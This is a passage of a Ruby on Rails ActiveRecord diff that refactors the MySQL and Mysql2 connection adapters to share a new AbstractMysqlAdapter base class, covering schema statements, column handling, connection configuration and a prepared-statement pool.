+ execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`"
+ else
+ execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`"
+ end
+ end
+
+ # Drops a MySQL database.
+ #
+ # Example:
+ # drop_database('sebastian_development')
+ def drop_database(name) #:nodoc:
+ execute "DROP DATABASE IF EXISTS `#{name}`"
+ end
+
+ def current_database
+ select_value 'SELECT DATABASE() as db'
+ end
+
+ # Returns the database character set.
+ def charset
+ show_variable 'character_set_database'
+ end
+
+ # Returns the database collation strategy.
+ def collation
+ show_variable 'collation_database'
+ end
+
+ def tables(name = nil, database = nil) #:nodoc:
+ sql = ["SHOW TABLES", database].compact.join(' IN ')
+
+ execute_and_free(sql, 'SCHEMA') do |result|
+ result.collect { |field| field.first }
+ end
+ end
+
+ def table_exists?(name)
+ return true if super
+
+ name = name.to_s
+ schema, table = name.split('.', 2)
+
+ unless table # A table was provided without a schema
+ table = schema
+ schema = nil
+ end
+
+ tables(nil, schema).include? table
+ end
+
+ # Returns an array of indexes for the given table.
+ def indexes(table_name, name = nil) #:nodoc:
+ indexes = []
+ current_index = nil
+ execute_and_free("SHOW KEYS FROM #{quote_table_name(table_name)}", 'SCHEMA') do |result|
+ each_hash(result) do |row|
+ if current_index != row[:Key_name]
+ next if row[:Key_name] == 'PRIMARY' # skip the primary key
+ current_index = row[:Key_name]
+ indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], [])
+ end
+
+ indexes.last.columns << row[:Column_name]
+ indexes.last.lengths << row[:Sub_part]
+ end
+ end
+
+ indexes
+ end
+
+ # Returns an array of +Column+ objects for the table specified by +table_name+.
+ def columns(table_name, name = nil)#:nodoc:
+ sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}"
+ execute_and_free(sql, 'SCHEMA') do |result|
+ each_hash(result).map do |field|
+ new_column(field[:Field], field[:Default], field[:Type], field[:Null] == "YES", field[:Collation])
+ end
+ end
+ end
+
+ def create_table(table_name, options = {}) #:nodoc:
+ super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB"))
+ end
+
+ def bulk_change_table(table_name, operations) #:nodoc:
+ sqls = operations.map do |command, args|
+ table, arguments = args.shift, args
+ method = :"#{command}_sql"
+
+ if respond_to?(method)
+ send(method, table, *arguments)
+ else
+ raise "Unknown method called : #{method}(#{arguments.inspect})"
+ end
+ end.flatten.join(", ")
+
+ execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
+ end
+
+ # Renames a table.
+ #
+ # Example:
+ # rename_table('octopuses', 'octopi')
+ def rename_table(table_name, new_name)
+ execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
+ end
+
+ def add_column(table_name, column_name, type, options = {})
+ execute("ALTER TABLE #{quote_table_name(table_name)} #{add_column_sql(table_name, column_name, type, options)}")
+ end
+
+ def change_column_default(table_name, column_name, default)
+ column = column_for(table_name, column_name)
+ change_column table_name, column_name, column.sql_type, :default => default
+ end
+
+ def change_column_null(table_name, column_name, null, default = nil)
+ column = column_for(table_name, column_name)
+
+ unless null || default.nil?
+ execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+ end
+
+ change_column table_name, column_name, column.sql_type, :null => null
+ end
+
+ def change_column(table_name, column_name, type, options = {}) #:nodoc:
+ execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}")
+ end
+
+ def rename_column(table_name, column_name, new_column_name) #:nodoc:
+ execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}")
+ end
+
+ # Maps logical Rails types to MySQL-specific data types.
+ def type_to_sql(type, limit = nil, precision = nil, scale = nil)
+ return super unless type.to_s == 'integer'
+
+ case limit
+ when 1; 'tinyint'
+ when 2; 'smallint'
+ when 3; 'mediumint'
+ when nil, 4, 11; 'int(11)' # compatibility with MySQL default
+ when 5..8; 'bigint'
+ else raise(ActiveRecordError, "No integer type has byte size #{limit}")
+ end
+ end
+
+ def add_column_position!(sql, options)
+ if options[:first]
+ sql << " FIRST"
+ elsif options[:after]
+ sql << " AFTER #{quote_column_name(options[:after])}"
+ end
+ end
+
+ # SHOW VARIABLES LIKE 'name'
+ def show_variable(name)
+ variables = select_all("SHOW VARIABLES LIKE '#{name}'")
+ variables.first['Value'] unless variables.empty?
+ end
+
+ # Returns a table's primary key and belonging sequence.
+ def pk_and_sequence_for(table)
+ execute_and_free("SHOW INDEX FROM #{quote_table_name(table)} WHERE Key_name = 'PRIMARY'", 'SCHEMA') do |result|
+ keys = each_hash(result).map { |row| row[:Column_name] }
+ keys.length == 1 ? [keys.first, nil] : nil
+ end
+ end
+
+ # Returns just a table's primary key
+ def primary_key(table)
+ pk_and_sequence = pk_and_sequence_for(table)
+ pk_and_sequence && pk_and_sequence.first
+ end
+
+ def case_sensitive_modifier(node)
+ Arel::Nodes::Bin.new(node)
+ end
+
+ def case_insensitive_comparison(table, attribute, column, value)
+ if column.case_sensitive?
+ super
+ else
+ table[attribute].eq(value)
+ end
+ end
+
+ def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
+ where_sql
+ end
+
+ protected
+
+ def add_index_length(option_strings, column_names, options = {})
+ if options.is_a?(Hash) && length = options[:length]
+ case length
+ when Hash
+ column_names.each {|name| option_strings[name] += "(#{length[name]})" if length.has_key?(name)}
+ when Fixnum
+ column_names.each {|name| option_strings[name] += "(#{length})"}
+ end
+ end
+
+ return option_strings
+ end
+
+ def quoted_columns_for_index(column_names, options = {})
+ option_strings = Hash[column_names.map {|name| [name, '']}]
+
+ # add index length
+ option_strings = add_index_length(option_strings, column_names, options)
+
+ # add index sort order
+ option_strings = add_index_sort_order(option_strings, column_names, options)
+
+ column_names.map {|name| quote_column_name(name) + option_strings[name]}
+ end
+
+ def translate_exception(exception, message)
+ case error_number(exception)
+ when 1062
+ RecordNotUnique.new(message, exception)
+ when 1452
+ InvalidForeignKey.new(message, exception)
+ else
+ super
+ end
+ end
+
+ def add_column_sql(table_name, column_name, type, options = {})
+ add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+ add_column_options!(add_column_sql, options)
+ add_column_position!(add_column_sql, options)
+ add_column_sql
+ end
+
+ def change_column_sql(table_name, column_name, type, options = {})
+ column = column_for(table_name, column_name)
+
+ unless options_include_default?(options)
+ options[:default] = column.default
+ end
+
+ unless options.has_key?(:null)
+ options[:null] = column.null
+ end
+
+ change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+ add_column_options!(change_column_sql, options)
+ add_column_position!(change_column_sql, options)
+ change_column_sql
+ end
+
+ def rename_column_sql(table_name, column_name, new_column_name)
+ options = {}
+
+ if column = columns(table_name).find { |c| c.name == column_name.to_s }
+ options[:default] = column.default
+ options[:null] = column.null
+ else
+ raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
+ end
+
+ current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"]
+ rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
+ add_column_options!(rename_column_sql, options)
+ rename_column_sql
+ end
+
+ def remove_column_sql(table_name, *column_names)
+ columns_for_remove(table_name, *column_names).map {|column_name| "DROP #{column_name}" }
+ end
+ alias :remove_columns_sql :remove_column
+
+ def add_index_sql(table_name, column_name, options = {})
+ index_name, index_type, index_columns = add_index_options(table_name, column_name, options)
+ "ADD #{index_type} INDEX #{index_name} (#{index_columns})"
+ end
+
+ def remove_index_sql(table_name, options = {})
+ index_name = index_name_for_remove(table_name, options)
+ "DROP INDEX #{index_name}"
+ end
+
+ def add_timestamps_sql(table_name)
+ [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)]
+ end
+
+ def remove_timestamps_sql(table_name)
+ [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)]
+ end
+
+ private
+
+ def supports_views?
+ version[0] >= 5
+ end
+
+ def column_for(table_name, column_name)
+ unless column = columns(table_name).find { |c| c.name == column_name.to_s }
+ raise "No such column: #{table_name}.#{column_name}"
+ end
+ column
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index f9602bbe77..95f254ddd2 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -1,6 +1,6 @@
-# encoding: utf-8
+require 'active_record/connection_adapters/abstract_mysql_adapter'
-gem 'mysql2', '~> 0.3.6'
+gem 'mysql2', '~> 0.3.10'
require 'mysql2'
module ActiveRecord
@@ -20,187 +20,51 @@ module ActiveRecord
end
module ConnectionAdapters
- class Mysql2IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths) #:nodoc:
- end
+ class Mysql2Adapter < AbstractMysqlAdapter
- class Mysql2Column < Column
- BOOL = "tinyint(1)"
- def extract_default(default)
- if sql_type =~ /blob/i || type == :text
- if default.blank?
- return null ? nil : ''
- else
- raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
- end
- elsif missing_default_forged_as_empty_string?(default)
- nil
- else
- super
+ class Column < AbstractMysqlAdapter::Column # :nodoc:
+ def adapter
+ Mysql2Adapter
end
end
- def has_default?
- return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns
- super
- end
-
- private
- def simplified_type(field_type)
- return :boolean if Mysql2Adapter.emulate_booleans && field_type.downcase.index(BOOL)
-
- case field_type
- when /enum/i, /set/i then :string
- when /year/i then :integer
- when /bit/i then :binary
- else
- super
- end
- end
-
- def extract_limit(sql_type)
- case sql_type
- when /blob|text/i
- case sql_type
- when /tiny/i
- 255
- when /medium/i
- 16777215
- when /long/i
- 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
- else
- super # we could return 65535 here, but we leave it undecorated by default
- end
- when /^bigint/i; 8
- when /^int/i; 4
- when /^mediumint/i; 3
- when /^smallint/i; 2
- when /^tinyint/i; 1
- else
- super
- end
- end
-
- # MySQL misreports NOT NULL column default when none is given.
- # We can't detect this for columns which may have a legitimate ''
- # default (string) but we can for others (integer, datetime, boolean,
- # and the rest).
- #
- # Test whether the column has default '', is not null, and is not
- # a type allowing default ''.
- def missing_default_forged_as_empty_string?(default)
- type != :string && !null && default == ''
- end
- end
-
- class Mysql2Adapter < AbstractAdapter
- cattr_accessor :emulate_booleans
- self.emulate_booleans = true
-
ADAPTER_NAME = 'Mysql2'
- PRIMARY = "PRIMARY"
-
- LOST_CONNECTION_ERROR_MESSAGES = [
- "Server shutdown in progress",
- "Broken pipe",
- "Lost connection to MySQL server during query",
- "MySQL server has gone away" ]
-
- QUOTED_TRUE, QUOTED_FALSE = '1', '0'
-
- NATIVE_DATABASE_TYPES = {
- :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
- :string => { :name => "varchar", :limit => 255 },
- :text => { :name => "text" },
- :integer => { :name => "int", :limit => 4 },
- :float => { :name => "float" },
- :decimal => { :name => "decimal" },
- :datetime => { :name => "datetime" },
- :timestamp => { :name => "datetime" },
- :time => { :name => "time" },
- :date => { :name => "date" },
- :binary => { :name => "blob" },
- :boolean => { :name => "tinyint", :limit => 1 }
- }
def initialize(connection, logger, connection_options, config)
- super(connection, logger)
- @connection_options, @config = connection_options, config
- @quoted_column_names, @quoted_table_names = {}, {}
+ super
configure_connection
end
- def adapter_name
- ADAPTER_NAME
- end
+ # HELPER METHODS ===========================================
- # Returns true, since this connection adapter supports migrations.
- def supports_migrations?
- true
- end
-
- def supports_primary_key?
- true
- end
-
- # Returns true, since this connection adapter supports savepoints.
- def supports_savepoints?
- true
- end
-
- def native_database_types
- NATIVE_DATABASE_TYPES
- end
-
- # QUOTING ==================================================
-
- def quote(value, column = nil)
- if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
- s = column.class.string_to_binary(value).unpack("H*")[0]
- "x'#{s}'"
- elsif value.kind_of?(BigDecimal)
- value.to_s("F")
+ def each_hash(result) # :nodoc:
+ if block_given?
+ result.each(:as => :hash, :symbolize_keys => true) do |row|
+ yield row
+ end
else
- super
+ to_enum(:each_hash, result)
end
end
- def quote_column_name(name) #:nodoc:
- @quoted_column_names[name] ||= "`#{name}`"
+ def new_column(field, default, type, null, collation) # :nodoc:
+ Column.new(field, default, type, null, collation)
end
- def quote_table_name(name) #:nodoc:
- @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`')
+ def error_number(exception)
+ exception.error_number if exception.respond_to?(:error_number)
end
+ # QUOTING ==================================================
+
def quote_string(string)
@connection.escape(string)
end
- def quoted_true
- QUOTED_TRUE
- end
-
- def quoted_false
- QUOTED_FALSE
- end
-
def substitute_at(column, index)
Arel.sql "\0"
end
- # REFERENTIAL INTEGRITY ====================================
-
- def disable_referential_integrity(&block) #:nodoc:
- old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
-
- begin
- update("SET FOREIGN_KEY_CHECKS = 0")
- yield
- ensure
- update("SET FOREIGN_KEY_CHECKS = #{old}")
- end
- end
-
# CONNECTION MANAGEMENT ====================================
def active?
@@ -213,11 +77,6 @@ module ActiveRecord
connect
end
- # this is set to true in 2.3, but we don't want it to be
- def requires_reloading?
- false
- end
-
# Disconnects from the database if already connected.
# Otherwise, this method does nothing.
def disconnect!
@@ -273,17 +132,22 @@ module ActiveRecord
# make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
# made since we established the connection
@connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
- if name == :skip_logging
- @connection.query(sql)
- else
- log(sql, name) { @connection.query(sql) }
- end
- rescue ActiveRecord::StatementInvalid => exception
- if exception.message.split(":").first =~ /Packets out of order/
- raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings."
- else
- raise
- end
+
+ super
+ end
+
+ def exec_query(sql, name = 'SQL', binds = [])
+ result = execute(sql, name)
+ ActiveRecord::Result.new(result.fields, result.to_a)
+ end
+
+ alias exec_without_stmt exec_query
+
+ # Returns an array of record hashes with the column names as keys and
+ # column values as values.
+ def select(sql, name = nil, binds = [])
+ binds = binds.dup
+ exec_query(sql.gsub("\0") { quote(*binds.shift.reverse) }, name).to_a
end
def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
@@ -312,358 +176,35 @@ module ActiveRecord
@connection.last_id
end
- def update_sql(sql, name = nil)
- super
- @connection.affected_rows
- end
-
- def begin_db_transaction
- execute "BEGIN"
- rescue Exception
- # Transactions aren't supported
- end
-
- def commit_db_transaction
- execute "COMMIT"
- rescue Exception
- # Transactions aren't supported
- end
-
- def rollback_db_transaction
- execute "ROLLBACK"
- rescue Exception
- # Transactions aren't supported
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
- end
-
- # SCHEMA STATEMENTS ========================================
-
- def structure_dump
- if supports_views?
- sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"
- else
- sql = "SHOW TABLES"
- end
-
- select_all(sql).inject("") do |structure, table|
- table.delete('Table_type')
- structure += select_one("SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}")["Create Table"] + ";\n\n"
- end
- end
-
- # Drops the database specified on the +name+ attribute
- # and creates it again using the provided +options+.
- def recreate_database(name, options = {})
- drop_database(name)
- create_database(name, options)
- end
-
- # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
- # Charset defaults to utf8.
- #
- # Example:
- # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin'
- # create_database 'matt_development'
- # create_database 'matt_development', :charset => :big5
- def create_database(name, options = {})
- if options[:collation]
- execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`"
- else
- execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`"
- end
- end
-
- # Drops a MySQL database.
- #
- # Example:
- # drop_database('sebastian_development')
- def drop_database(name) #:nodoc:
- execute "DROP DATABASE IF EXISTS `#{name}`"
- end
-
- def current_database
- select_value 'SELECT DATABASE() as db'
- end
-
- # Returns the database character set.
- def charset
- show_variable 'character_set_database'
- end
-
- # Returns the database collation strategy.
- def collation
- show_variable 'collation_database'
- end
-
- def tables(name = nil, database = nil) #:nodoc:
- sql = ["SHOW TABLES", database].compact.join(' IN ')
- execute(sql, 'SCHEMA').collect do |field|
- field.first
- end
- end
-
- def table_exists?(name)
- return true if super
-
- name = name.to_s
- schema, table = name.split('.', 2)
-
- unless table # A table was provided without a schema
- table = schema
- schema = nil
- end
-
- tables(nil, schema).include? table
- end
-
- # Returns an array of indexes for the given table.
- def indexes(table_name, name = nil)
- indexes = []
- current_index = nil
- result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", 'SCHEMA')
- result.each(:symbolize_keys => true, :as => :hash) do |row|
- if current_index != row[:Key_name]
- next if row[:Key_name] == PRIMARY # skip the primary key
- current_index = row[:Key_name]
- indexes << Mysql2IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique] == 0, [], [])
- end
-
- indexes.last.columns << row[:Column_name]
- indexes.last.lengths << row[:Sub_part]
- end
- indexes
- end
-
- # Returns an array of +Mysql2Column+ objects for the table specified by +table_name+.
- def columns(table_name, name = nil)
- sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}"
- columns = []
- result = execute(sql, 'SCHEMA')
- result.each(:symbolize_keys => true, :as => :hash) { |field|
- columns << Mysql2Column.new(field[:Field], field[:Default], field[:Type], field[:Null] == "YES")
- }
- columns
- end
-
- def create_table(table_name, options = {})
- super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB"))
- end
-
- # Renames a table.
- #
- # Example:
- # rename_table('octopuses', 'octopi')
- def rename_table(table_name, new_name)
- execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
- end
-
- def add_column(table_name, column_name, type, options = {})
- add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(add_column_sql, options)
- add_column_position!(add_column_sql, options)
- execute(add_column_sql)
- end
-
- def change_column_default(table_name, column_name, default)
- column = column_for(table_name, column_name)
- change_column table_name, column_name, column.sql_type, :default => default
- end
-
- def change_column_null(table_name, column_name, null, default = nil)
- column = column_for(table_name, column_name)
-
- unless null || default.nil?
- execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
- end
-
- change_column table_name, column_name, column.sql_type, :null => null
- end
-
- def change_column(table_name, column_name, type, options = {})
- column = column_for(table_name, column_name)
-
- unless options_include_default?(options)
- options[:default] = column.default
- end
-
- unless options.has_key?(:null)
- options[:null] = column.null
- end
-
- change_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(change_column_sql, options)
- add_column_position!(change_column_sql, options)
- execute(change_column_sql)
- end
+ private
- def rename_column(table_name, column_name, new_column_name)
- options = {}
- if column = columns(table_name).find { |c| c.name == column_name.to_s }
- options[:default] = column.default
- options[:null] = column.null
- else
- raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
- end
- current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"]
- rename_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
- add_column_options!(rename_column_sql, options)
- execute(rename_column_sql)
+ def connect
+ @connection = Mysql2::Client.new(@config)
+ configure_connection
end
- # Maps logical Rails types to MySQL-specific data types.
- def type_to_sql(type, limit = nil, precision = nil, scale = nil)
- return super unless type.to_s == 'integer'
-
- case limit
- when 1; 'tinyint'
- when 2; 'smallint'
- when 3; 'mediumint'
- when nil, 4, 11; 'int(11)' # compatibility with MySQL default
- when 5..8; 'bigint'
- else raise(ActiveRecordError, "No integer type has byte size #{limit}")
- end
- end
+ def configure_connection
+ @connection.query_options.merge!(:as => :array)
- def add_column_position!(sql, options)
- if options[:first]
- sql << " FIRST"
- elsif options[:after]
- sql << " AFTER #{quote_column_name(options[:after])}"
- end
- end
+ # By default, MySQL 'where id is null' selects the last inserted id.
+ # Turn this off. http://dev.rubyonrails.org/ticket/6778
+ variable_assignments = ['SQL_AUTO_IS_NULL=0']
+ encoding = @config[:encoding]
- # SHOW VARIABLES LIKE 'name'.
- def show_variable(name)
- variables = select_all("SHOW VARIABLES LIKE '#{name}'")
- variables.first['Value'] unless variables.empty?
- end
+ # make sure we set the encoding
+ variable_assignments << "NAMES '#{encoding}'" if encoding
- # Returns a table's primary key and belonging sequence.
- def pk_and_sequence_for(table)
- keys = []
- result = execute("DESCRIBE #{quote_table_name(table)}", 'SCHEMA')
- result.each(:symbolize_keys => true, :as => :hash) do |row|
- keys << row[:Field] if row[:Key] == "PRI"
- end
- keys.length == 1 ? [keys.first, nil] : nil
- end
-
- # Returns just a table's primary key
- def primary_key(table)
- pk_and_sequence = pk_and_sequence_for(table)
- pk_and_sequence && pk_and_sequence.first
- end
+ # increase timeout so mysql server doesn't disconnect us
+ wait_timeout = @config[:wait_timeout]
+ wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum)
+ variable_assignments << "@@wait_timeout = #{wait_timeout}"
- def case_sensitive_modifier(node)
- Arel::Nodes::Bin.new(node)
+ execute("SET #{variable_assignments.join(', ')}", :skip_logging)
end
- def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
- where_sql
+ def version
+ @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
end
-
- protected
- def quoted_columns_for_index(column_names, options = {})
- length = options[:length] if options.is_a?(Hash)
-
- case length
- when Hash
- column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) }
- when Fixnum
- column_names.map {|name| "#{quote_column_name(name)}(#{length})"}
- else
- column_names.map {|name| quote_column_name(name) }
- end
- end
-
- def translate_exception(exception, message)
- return super unless exception.respond_to?(:error_number)
-
- case exception.error_number
- when 1062
- RecordNotUnique.new(message, exception)
- when 1452
- InvalidForeignKey.new(message, exception)
- else
- super
- end
- end
-
- private
- def connect
- @connection = Mysql2::Client.new(@config)
- configure_connection
- end
-
- def configure_connection
- @connection.query_options.merge!(:as => :array)
-
- # By default, MySQL 'where id is null' selects the last inserted id.
- # Turn this off. http://dev.rubyonrails.org/ticket/6778
- variable_assignments = ['SQL_AUTO_IS_NULL=0']
- encoding = @config[:encoding]
-
- # make sure we set the encoding
- variable_assignments << "NAMES '#{encoding}'" if encoding
-
- # increase timeout so mysql server doesn't disconnect us
- wait_timeout = @config[:wait_timeout]
- wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum)
- variable_assignments << "@@wait_timeout = #{wait_timeout}"
-
- execute("SET #{variable_assignments.join(', ')}", :skip_logging)
- end
-
- # Returns an array of record hashes with the column names as keys and
- # column values as values.
- def select(sql, name = nil, binds = [])
- binds = binds.dup
- exec_query(sql.gsub("\0") { quote(*binds.shift.reverse) }, name).to_a
- end
-
- def exec_query(sql, name = 'SQL', binds = [])
- @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
-
- log(sql, name, binds) do
- begin
- result = @connection.query(sql)
- rescue ActiveRecord::StatementInvalid => exception
- if exception.message.split(":").first =~ /Packets out of order/
- raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings."
- else
- raise
- end
- end
-
- ActiveRecord::Result.new(result.fields, result.to_a)
- end
- end
-
- def supports_views?
- version[0] >= 5
- end
-
- def version
- @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
- end
-
- def column_for(table_name, column_name)
- unless column = columns(table_name).find { |c| c.name == column_name.to_s }
- raise "No such column: #{table_name}.#{column_name}"
- end
- column
- end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 9e6cb13cca..f092edecda 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -1,6 +1,6 @@
-require 'active_record/connection_adapters/abstract_adapter'
-require 'active_support/core_ext/object/blank'
-require 'set'
+require 'active_record/connection_adapters/abstract_mysql_adapter'
+require 'active_record/connection_adapters/statement_pool'
+require 'active_support/core_ext/hash/keys'
gem 'mysql', '~> 2.8.1'
require 'mysql'
@@ -40,9 +40,29 @@ module ActiveRecord
end
module ConnectionAdapters
- class MysqlColumn < Column #:nodoc:
- class << self
- def string_to_time(value)
+ # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with
+ # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/).
+ #
+ # Options:
+ #
+ # * <tt>:host</tt> - Defaults to "localhost".
+ # * <tt>:port</tt> - Defaults to 3306.
+ # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock".
+ # * <tt>:username</tt> - Defaults to "root"
+ # * <tt>:password</tt> - Defaults to nothing.
+ # * <tt>:database</tt> - The name of the database. No default, must be provided.
+ # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
+ # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
+ # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
+ #
+ class MysqlAdapter < AbstractMysqlAdapter
+
+ class Column < AbstractMysqlAdapter::Column #:nodoc:
+ def self.string_to_time(value)
return super unless Mysql::Time === value
new_time(
value.year,
@@ -54,230 +74,102 @@ module ActiveRecord
value.second_part)
end
- def string_to_dummy_time(v)
+ def self.string_to_dummy_time(v)
return super unless Mysql::Time === v
new_time(2000, 01, 01, v.hour, v.minute, v.second, v.second_part)
end
- def string_to_date(v)
+ def self.string_to_date(v)
return super unless Mysql::Time === v
new_date(v.year, v.month, v.day)
end
- end
- def extract_default(default)
- if sql_type =~ /blob/i || type == :text
- if default.blank?
- return null ? nil : ''
- else
- raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
- end
- elsif missing_default_forged_as_empty_string?(default)
- nil
- else
- super
+ def adapter
+ MysqlAdapter
end
end
- def has_default?
- return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns
- super
- end
+ ADAPTER_NAME = 'MySQL'
- private
- def simplified_type(field_type)
- return :boolean if MysqlAdapter.emulate_booleans && field_type.downcase.index("tinyint(1)")
- return :string if field_type =~ /enum/i
+ class StatementPool < ConnectionAdapters::StatementPool
+ def initialize(connection, max = 1000)
super
+ @cache = Hash.new { |h,pid| h[pid] = {} }
end
- def extract_limit(sql_type)
- case sql_type
- when /blob|text/i
- case sql_type
- when /tiny/i
- 255
- when /medium/i
- 16777215
- when /long/i
- 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
- else
- super # we could return 65535 here, but we leave it undecorated by default
- end
- when /^bigint/i; 8
- when /^int/i; 4
- when /^mediumint/i; 3
- when /^smallint/i; 2
- when /^tinyint/i; 1
- else
- super
+ def each(&block); cache.each(&block); end
+ def key?(key); cache.key?(key); end
+ def [](key); cache[key]; end
+ def length; cache.length; end
+ def delete(key); cache.delete(key); end
+
+ def []=(sql, key)
+ while @max <= cache.size
+ cache.shift.last[:stmt].close
end
+ cache[sql] = key
end
- # MySQL misreports NOT NULL column default when none is given.
- # We can't detect this for columns which may have a legitimate ''
- # default (string) but we can for others (integer, datetime, boolean,
- # and the rest).
- #
- # Test whether the column has default '', is not null, and is not
- # a type allowing default ''.
- def missing_default_forged_as_empty_string?(default)
- type != :string && !null && default == ''
+ def clear
+ cache.values.each do |hash|
+ hash[:stmt].close
+ end
+ cache.clear
end
- end
- # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with
- # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/).
- #
- # Options:
- #
- # * <tt>:host</tt> - Defaults to "localhost".
- # * <tt>:port</tt> - Defaults to 3306.
